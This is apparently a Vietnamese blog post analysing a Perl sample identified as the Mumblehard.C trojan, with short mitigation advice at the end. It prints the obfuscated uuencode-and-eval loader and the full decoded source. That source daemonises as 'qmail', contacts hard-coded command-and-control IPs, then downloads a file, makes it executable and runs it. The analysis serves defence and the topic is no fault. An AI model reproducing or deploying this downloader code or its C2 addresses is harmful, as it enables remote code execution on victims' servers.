Hôm nay tôi có nhận được một mẫu code mã hóa nghi là mã độc thoạt đầu tôi có xem nhưng không hiểu cho lắm về code của nó, bạn có thể thấy trích đoạn code này như sau:
my $pppODmW='';$pppODmW.=$_ while(<DATA>);$pppODmW=unpack('u*',$pppODmW);$pppODmW=~s/295c445c5f495f5f4548533c3c3c3d29/7a62786d60696278227a62237b7c216f/gs;eval($pppODmW);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
Sau khi nhìn thấy hàm eval việc đầu tiên tôi nghĩ nó là mã độc tuy nhiên nó làm gì và công dụng như thế nào thì tôi chưa biết.
sau khi check type các file này thì tôi phát hiện nó là các file có thể thực thi được với ngôn ngữ là perl. dự vào các hàm unpack và eval tôi có thể kết luận đây chính là dạng Mumblehard.C trojan.
vấn đề là bây giờ đã biết nó là dạng nào tuy nhiên để unpack về dạng code có thể đọc được thì đó là điều không đơn giản.
Về loại mã độc này thì đây là một chương trình c đơn giản chủ yếu phục vụ cho việc spam mail qua hàm qmail
Mình đã tiến hành unpack nó và dưới đây là code bạn có thểm xem và ngâm cứu nó.
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0="qmail";
$|=1;
my $ewblock = 11;
my $eiprogr = 150;
if ($^O eq "linux") {
$ewblock = 11;
$eiprogr = 115;
}
if ($^O eq "freebsd") {
$ewblock = 35;
$eiprogr = 36;
}
&main();
sub main {
exit 0 unless defined(my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open(STDIN, "</dev/null");
open(STDOUT, ">/dev/null");
open(STDERR, ">&STDOUT");
my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"];
my $tst = ["a".."z", "A".."Z"];
$tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; }
my($header, $content);
my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs(@$url) {
$header = "$dir/".time;
$content = $header."1";
unlink $header if -f $header;
unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open(F, "<", $header)) {
flock F, 1;
my($test, $task) = (0, "");
while (<F>) {
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test++
if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close";
$task = $1
if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task;
}
unlink $header if -f $header;
unlink $content if -f $content;
}
exit 0 if !defined $command || $command!~/^16$/;
$header = "$dir/".time;
$content = "$dir/$file";
unlink $header
if -f $header;
unlink $content
if -f $content; &http($link, $timeout, $header, $content, 1);
my($resp, $size) = ("000", 0);
if (open(F, "<", $header)) {
flock F, 1;
while (<F>) {
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size!~/^\d+$/;
if ($size > 0) {
chmod 0755, $content;
system "$content >/dev/null 2>&1";
}
unlink $header if -f $header;
unlink $content if -f $content;
foreach my $rs(@$url) {
$header = "/dev/null";
$content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl {
my($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr(split(//, $line)) {
if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; }
$code. = pack("C", unpack("C", $chr) ^ $xor); $xor++;
}
return $code;
}
sub decd {
my $data = pack("H*", shift);@
_ = unpack("C5", substr($data, 0, 5, ""));
return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_);
}
sub http {
my($url, $timeout, $header, $content, $mode, $gecko) = @_;
$gecko = "20100101"
if !defined $gecko || !length $gecko;
my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr;
if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) {
$addr = pack("C4", $1, $2, $3, $4);
} else {
$addr = gethostbyname $host;
}
return unless $addr;
$port || = 80;
$path || = "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join("\x0D\x0A",
"GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9",
"Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A");
if ($mode) {
$buffer = join("\x0D\x0A",
"GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A");
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless($socket->connect($addr)) {
if ($! != $eiprogr && $! != $ewblock) {
close $socket;
return;
}
}
$writers->add($socket);
$timeout+=time;
my $step = 0;
while (1) {
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle(@$writable) {
if ($step == 0) {
$step = 1
if $handle->connected;
}
if ($step == 1) {
my $result = syswrite($handle, $buffer);
if (defined $result && $result > 0) {
substr($buffer, 0, $result) = "";
if (!length $buffer) {
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif($! == $ewblock) {
next;
} else {
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle(@$readable) {
next if $step < 2;
my $result;
if ($step == 2) {
$result = sysread($handle, $buffer, 8192, length $buffer);
} else {
$result = sysread($handle, $buffer, 8192);
}
if (16384 < length $buffer) {
$timeout = 0;
}
elsif(defined $result) {
if ($result > 0) {
if ($step == 2) {
my $offset = index($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open(F, ">>", $header)) {
flock F, 2;
binmode F;
print F substr($buffer, 0, $offset);
close F;
}
substr($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3) {
if (length $buffer) {
if (open(F, ">>", $content)) {
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif($! == $ewblock) {
next;
} else {
$timeout = 0;
}
}
if ($timeout < time) {
foreach my $handle($writers->handles, $readers->handles) {
$writers-> remove($handle) if $writers->exists($handle);
$readers-> remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
Để ngăn chặn mã độc này thì nếu máy chủ của bạn không cần dùng tới perl thì hãy tắt nó đi bằng lệnh
chmod 700 /usr/bin/perl
tuy nhiên nếu bạn cần perl để chạy thì hãy tìm kiếm các tiến trình cha và kill nó sau đó bạn cần rà soát và fix các lỗ hổng trong code của mình!
Với code như trên các bạn có thể vào đây để tiến hành giải mã: uudecode
Nếu website bạn có link lạ hãy liên hệ với chúng tôi chúng tôi luôn sẵn sàng hỗ trợ cho bạn!
Không có nhận xét nào:
Đăng nhận xét